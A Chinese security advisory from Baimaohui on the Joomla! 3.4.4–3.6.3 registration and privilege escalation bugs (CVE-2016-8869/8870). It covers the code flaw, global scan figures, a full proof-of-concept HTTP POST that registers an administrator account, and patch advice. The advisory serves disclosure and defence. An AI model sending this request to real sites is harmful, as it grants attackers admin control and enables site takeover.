• Joomla!用户特权提升漏洞影响范围分析:涉及全球超15000网站

    2016-11-01 北京白帽汇科技有限公司

    2016年10月25日Joomla!官方网站发布两款补丁,主要针对网站关闭注册用户仍然可以注册用户漏洞,以及可以注册成为特权账户漏洞。该漏洞可使普通访客用户通过构造恶意数据包成为网站管理员,危害高。现在网络上已经有相关漏洞利用工具出现,请各位站长朋友立即修复。以免造成不必要的影响和损失。

    图片 1.png


    2016年10月25日Joomla!官方网站发布两款补丁,主要针对网站关闭注册用户仍然可以注册用户漏洞,以及可以注册成为特权账户漏洞。该漏洞可使普通访客用户通过构造恶意数据包成为网站管理员,危害高。现在网络上已经有相关漏洞利用工具出现,请各位站长朋友立即修复。以免造成不必要的影响和损失。


    Joomla! 使用PHP语言加上MySQL数据库所开发,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。它是一套全球排名第二的知名内容管理系统(CMS)。据白帽汇FOFA系统中的数据显示,现全球使用Joomla!系统所建设的网站约有86万。其中美国24万,德国12万,荷兰5万,波兰4万,俄罗斯3万。目前中国有3000多网站正在使用该系统,其中以高校和政府为主。

     

    研究人员可通过如下链接登录FOFA了解详情:

    https://fofa.so/result?qbase64=Ym9keT0iY29udGVudD1cIkpvb21sYSIgfHwgKGJvZHk9Ii9tZWRpYS9zeXN0%0AZW0vanMvY29yZS5qcyIgJiYgYm9keT0iL21lZGlhL3N5c3RlbS9qcy9tb290%0Ab29scy1jb3JlLmpzIik%3D

    图片 2.png

     

    漏洞原理与危害

     

    该漏洞主要因为有两处注册代码,其中一处没有判断是否关闭注册功能,导致网站关闭注册情况下仍可以进行注册。

     

    在注册时,由于程序在处理的时候没有过滤用户发送的数据字段,导致用户可以直接添加用户组字段。如用户添加管理员组字段,则可直接注册为管理员账户。

     

    用户添加管理员后,可以在后台进行webshell上传等操作。黑客可控制和篡改,甚至删除网站,同时导致数据被泄露等后果。

     

    漏洞分析

     

    在Joomla!系统中存在两处注册的函数,分别位于:components/com_users/controllers/registration.php中的UsersControllerRegistration::register()和位于components/com_users/controllers/user.php中的UsersControllerUser::register()

     

    其中components/com_users/controllers/user.php中的注册函数没有判断网站是否关闭注册,进而导致在网站关闭注册情况下可创建普通用户的漏洞。同时该函数的流程中未对注册的字段进行过滤,导致可以加入Groups字段,并设置为管理员组的数值7(即提升为特权账户)。其相关漏洞代码如下,以下代码中虽然都进行了验证和过滤,但是存在漏洞的函数中使用的数据仍然是我们提交的数据,而不是过滤后的数据,所以我们才可以通过添加Groups字段来提升特权。

    图片 3.png

     

    漏洞代码如下:

    if (!$form)

                      {

                               JError::raiseError(500,$model->getError());

     

                               return false;

                      }

     

                      $return =$model->validate($form, $data);

     

                      ………… 此处省略N行

     

                      // Finish the registration.

                      $return =$model->register($data);   //这里使用的是我们提交的$data数据,而不是过滤后的$return 

    以下是不存在漏洞的代码。

    图片 4.png


    正常流程不存在漏洞的代码如下:

                      $data =$model->validate($form, $requestData);

                      …………

                      // Attempt to save the data.

                      $return =$model->register($data); //这里使用了过滤后的数据

     

    漏洞影响

    影响的Joomla!版本:3.4.4至3.6.3

     

    影响范围

    白帽汇第一时间对漏洞进行复现,并编写了扫描程序进行了全球扫描。目前,全球现有将近86万的Joomla!网站,目前存在网站的漏洞数量为15296个。排在前五的国家分别为美国,德国,荷兰,俄罗斯,还有法国。总共覆盖了100个国家和数百个城市。

    图片5.jpg图片6.jpg图片7.jpg

    图片8.jpg


    其中国内受影响的网站有146个。其中杭州市就超过了一半,其中以政府、高校为主。

    图片9.jpg图片10.jpg


    漏洞POC

    POST/index.php?option=com_users&task=user.register HTTP/1.1

    Host: [Joomla!系统地址]

    Referer: [Joomla!系统地址]/index.php/component/users/?view=registration

    Cookie: [网站Cookie]

    Connection:close

     

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="user[name]"

     

    baimaohui

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="user[username]"

     

    baimaohui

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="user[password1]"

     

    Baimaohui

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="user[password2]"

     

    Baimaohui

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="user[email1]"

     

    baimaohui@baimaohui.net

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="user[email2]"

     

    email@example.com

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="option"

     

    com_users

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="task"

     

    user.register

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4

    Content-Disposition:form-data; name="[这里是Token]"

     

    1

    ------WebKitFormBoundarydPTNyMPMzmAhBsf4--

     

    CVE编号

    CVE-2016-8869,CVE-2016-8870

     

    修复建议

    1、  升级到最新的3.6.4版本

    2、  针对定制化,或者对系统有改动的用户,可以通过手动修改删除的方式来修复。

    删除掉网站路径components\com_users\controllers\user.php文件中的register方法。

           删除如下代码:

    图片11.jpg    

       

    白帽汇会持续对该漏洞进行跟进。

     

    参考

    [1]https://fofa.so/result?qbase64=Ym9keT0iY29udGVudD1cIkpvb21sYSIgfHwgKGJvZHk9Ii9tZWRpYS9zeXN0%0AZW0vanMvY29yZS5qcyIgJiYgYm9keT0iL21lZGlhL3N5c3RlbS9qcy9tb290%0Ab29scy1jb3JlLmpzIik%3D

    [2]https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html

    [3] https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html

    [4] http://www.exploitalert.com/view-details.html?id=25143

    [5] http://paper.seebug.org/88/

现在咨询我们
北京白帽汇科技有限公司
服务热线:400-650-2031
联系邮箱:service@baimaohui.net
媒体联络:PR@baimaohui.net
地址:北京顺义区后沙峪国门一号
信息
最新资讯
反馈
FAQ
版权所有 © 北京白帽汇科技有限公司 2016. All Rights Reserved 京ICP备15042518号